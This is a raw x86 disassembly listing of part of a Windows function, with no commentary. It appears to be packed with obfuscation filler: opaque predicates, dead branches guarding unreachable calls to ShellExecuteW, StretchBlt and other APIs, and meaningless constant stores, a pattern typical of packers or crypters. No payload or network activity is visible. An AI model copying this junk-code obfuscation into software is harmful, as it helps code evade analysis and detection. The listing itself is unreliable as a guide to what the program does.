cmp edx, eax
setne cl
xor eax, eax
add ecx, dword [ebp - 0x50]
je 0x1002ef72
cmp dword [ebp - 0x38], eax
je 0x1002ef72
mov eax, edi
mov dword [ebp - 0x678], eax
dec dword [ebp - 0x18]
push 0
pop eax
jns 0x1002ee8e
mov esi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ef9f
push eax
push eax
push 0x7fc
push eax
call esi
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_GetClassNameW]
mov dword [ebp - 0x30], 0xfffffff8
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002efc2
push 0x12dc
push eax
call ebx
push eax
call edi
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002efd8
push 0xb13
call dword [sym.imp.USER32.dll_GetKeyboardType]
xor eax, eax
mov dword [ebp - 0x34], 0x4ad744d0
xor ebx, ebx
mov dword [ebp - 0x38], 0xe50714ba
inc ebx
mov dword [ebp - 0x38], 0x2657cf7a
mov dword [ebp - 0x30], 0xa9d01274
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f014
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c], 0xedc7555b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002efff
xor eax, eax
cmp dword [ebp - 0x7c], eax
je 0x1002f055
mov dword [ebp - 0x34], 0x8c08
xor edx, edx
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
sub ecx, eax
mov eax, dword [ebp - 0x7c]
cmp ecx, eax
mov eax, dword [ebp - 0x7c]
setne dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x34]
setle bl
xor ecx, ecx
cmp eax, ebx
setne cl
xor ebx, ebx
cmp dword [ebp - 0x7c], ecx
jne 0x1002f052
inc ebx
mov eax, ebx
jmp 0x1002f055
xor eax, eax
inc ebx
mov ecx, dword [ebp - 0x7c]
imul ecx, eax
mov eax, dword [ebp - 0x7c]
sub ecx, eax
jne 0x1002f0a2
xor eax, eax
cmp dword [ebp - 0x7c], eax
jne 0x1002f0a4
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f089
push 0x1b8c
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f105
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
jmp 0x1002f103
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002f0c3
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbf8], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002f0b0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x34]
dec eax
neg eax
sbb eax, eax
inc eax
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x6e48
setne al
xor ecx, ecx
cmp eax, 8
mov eax, dword [ebp - 0x7c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xbf8]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffe7
je 0x1002f12c
mov dword [ebp - 0x38], 0xd2fc
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe7
jne 0x1002f10e
xor eax, eax
mov dword [ebp - 0x1c], 0x7a3a
or ecx, 0xffffffff
mov dword [ebp - 0x34], 0x841b3c69
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002f162
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7b8], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002f149
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002f184
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc04], 0xd70cadd6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002f16b
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff9
cmp dword [ebp - 0x34], 4
jle 0x1002f242
jmp 0x1002f199
xor eax, eax
mov dword [ebp - 0x18], 0x8f69f7fd
mov dword [ebp - 0x18], eax
jmp 0x1002f1b6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7b8], 0x814b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002f1a5
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x2c], 5
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002f209
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x7b0]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x7b8]
setle dl
sub edx, 0x2065
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 7
setne cl
add eax, ecx
jne 0x1002f209
mov edx, eax
jmp 0x1002f20b
mov edx, ebx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, dword [ebp - 0x34]
jne 0x1002f221
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002f223
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc04], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
jg 0x1002f197
or ecx, 0xffffffff
mov dword [ebp - 0x24], 0xd2eb
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 5
push 0xfffffffffffffff6
mov dword [ebp - 0x2c], 0x5c22c920
pop edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002f280
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb08], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002f26b
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
je 0x1002f2f9
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002f2bc
mov eax, dword [ebp - 0xb04]
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1002f2a9
mov edx, eax
mov eax, dword [ebp - 0xb00]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, 0x8abb75da
setne dl
xor ecx, ecx
cmp eax, 0x5059b8bc
setne cl
xor eax, eax
cmp ecx, edx
setl al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
jmp 0x1002f374
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jg 0x1002f374
mov dword [ebp - 0x34], eax
jmp 0x1002f362
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f35f
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x1181
push 0x21b9
push 0x2410
push 0x225e
push 0xcc7
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xeba
push 0x1811
push 0x1638
push 0xa1e
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jle 0x1002f307
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jle 0x1002f302
xor ebx, ebx
inc ebx
mov dword [ebp - 0x54], 0x5051
mov dword [ebp - 0x20], 0x5c68ec0a
mov dword [ebp - 0x20], 0x13
cmp dword [ebp - 0x20], 0x11
jl 0x1002f4da
push 6
xor eax, eax
mov edi, 0xffff
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002f3c0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfc], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002f3a8
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002f3e2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x36c], 0xbf5cd53b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002f3c9
xor eax, eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], eax
jl 0x1002f4c1
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1002f4b2
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], ebx
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x36c]
mov eax, dword [ebp + eax*4 - 0xfc]
mov eax, dword [ebp - 0x36c]
mov eax, dword [ebp + eax*4 - 0xfc]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x38], edi
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x36c]
test eax, eax
je 0x1002f456
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002f458
mov edx, ebx
jmp 0x1002f45a
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
mov eax, 0xfffe
setne cl
sub ecx, 2
cmp eax, ecx
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
xor edx, edx
neg ecx
mov eax, dword [ebp + eax*4 - 0xfc]
cmp eax, ecx
mov eax, dword [ebp - 0x36c]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xfc]
imul edx, eax
mov eax, dword [ebp - 0x34]
cmp edx, eax
setge cl
xor esi, esi
mov dword [ebp - 0x5c], ecx
cmp dword [ebp - 0x34], esi
jne 0x1002f4b0
dec dword [ebp - 0x34]
jns 0x1002f407
xor eax, eax
dec dword [ebp - 0x36c]
jns 0x1002f3f4
push 6
pop ecx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x11
jge 0x1002f39d
mov edi, dword [sym.imp.USER32.dll_GetClassNameW]
mov esi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f4ed
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor eax, eax
mov dword [ebp - 0x38], 0xbf199314
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f517
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x680], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f503
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x18
jne 0x1002f578
mov dword [ebp - 0x20], 0xafc1da7b
mov dword [ebp - 0x38], 0x150faeb3
cmp dword [ebp - 0x18], eax
jne 0x1002f53c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov ecx, 0x98c0c9d
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
sub ecx, eax
push 0
pop edx
sets dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
push 0
sbb edx, edx
xor ecx, ecx
add edx, 0x98074b22
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x18
je 0x1002f520
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002f59b
mov dword [ebp - 0x38], 0xb000e2e4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x680]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x18]
jns 0x1002f580
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f5c8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68c], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f5b0
xor eax, eax
mov dword [ebp - 0x34], 0x12
cmp dword [ebp - 0x34], 0xa
jne 0x1002f6ad
jmp 0x1002f5dd
mov dword [ebp - 0x2c], 0x75cb5542
mov dword [ebp - 0x38], 0xf2d6273
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002f60e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbb0], 0x5c7a00f4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002f5f6
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002f620
cmp dword [ebp - 0x18], ecx
jl 0x1002f613
mov dword [ebp - 0x34], 0xf7c629c4
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002f6e2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd14], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002f6c9
xor eax, eax
dec dword [ebp - 0xd0c]
mov dword [ebp - 0x14], 0xfffffffc
cmp dword [ebp - 0x14], 0xffffffe6
jge 0x1002f753
or edi, 0xffffffff
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], eax
jmp 0x1002f726
cmp dword [ebp - 0x20], 0xc
je 0x1002f700
mov dword [ebp - 0x4c], 0x5e48d327
push 2
mov dword [ebp - 0x30], 0x2e6e7f73
pop ecx
mov dword [ebp - 0x30], 0x67b8f5f4
mov dword [ebp - 0x20], ecx
push 3
mov dword [ebp - 0x30], 0xc12265e3
pop edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002f79b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xac0], 0xdb959c4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002f783
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002f7bb